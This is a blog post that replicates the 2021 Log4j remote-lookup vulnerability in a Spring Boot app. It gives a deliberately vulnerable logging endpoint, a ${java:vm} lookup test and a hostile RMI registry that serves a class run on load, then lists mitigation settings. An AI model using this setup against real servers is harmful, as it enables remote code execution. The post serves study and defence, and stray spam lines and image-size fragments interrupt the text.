Vulnerability Replication under SpringBoot with log4j integration

1. Summary of prospects

Log4j's epic bug has been buzzing these days, and I want to explore how it was triggered.

2. Build a SpringBoot project that integrates Log4j

Create a springboot project and make a modification to the pom file according to the guidelines of the spring website

<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

    </dependencies>

2.1 View imported dependencies

You can see that the log4j I introduced depends on 2.15. Version 0 or below, which triggers the bug

Scanning VX for Java, Front End, Testing, python, etc.

2.2 Write a common interface to accept external incoming parameters

package run.runnable.learn;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.annotation.PostConstruct;

@SpringBootApplication
@Controller
public class LearnApplication {

    private static final Logger logger = LogManager.getLogger(LearnApplication.class);

    public static void main(String[] args) {
        SpringApplication.run(LearnApplication.class, args);
    }

    @PostMapping("/hack")
    @ResponseBody
    public String testHackExecute(@RequestBody String content){
        logger.info("content:{}", content);
        return content;
    }

}

Here's a hack's interface, which prints when parameters are passed in. Almost everyone has written this code. This is also one of the reasons why the vulnerability is so serious: it's easy to trigger

3. Testing vulnerabilities

3.1 Pass in specified parameters to print vm information

Using postman to invoke the interface, you can see a successful return.

728 x 378 1766 x 916

Let's go to the system log and see that printing is not ${java:vm} but JDK information!

728 x 160 2096 x 462

3.2 Testing rmi remote calls

If that's all, at least some error logs will be generated, but this rmi remote call is harmful.

Let's first write a registry with java's native rmi, then register a service

public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            Reference reference = new Reference("run.runnable.learn.rmi.HackExecute", "run.runnable.learn.rmi.HackExecute", null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            System.out.println("service started");
            registry.bind("hack", referenceWrapper);
        } catch (RemoteException | NamingException | AlreadyBoundException e) {
            e.printStackTrace();
        }
    }

Another class that can be executed

public class HackExecute {

    static {
        System.out.println("HackExecute: Successful execution");
    }

}

We start the rmi service above and use postman to make the call.

728 x 395 1772 x 962

When we look at the log in the console, you will find that the rmi remote call was successfully executed!

728 x 145 2236 x 446

This means I can write my own code and execute it on the other server in this way, which is an epic bug.

4. Emergency Remedy Measures

(1) Modify the jvm parameter-Dlog4j2.formatMsgNoLookups=true

(2) Modify the configuration log4j2.formatMsgNoLookups=True

(3) FormAT_will be the system environment variable MESSAGES_ PATTERN_ DISABLE_ LOOKUPS set to true

Scanning VX for Java, Front End, Testing, python, etc.

Keywords: Java Spring Spring Boot

Added by Shiki on Sun, 12 Dec 2021 20:04:00 +0200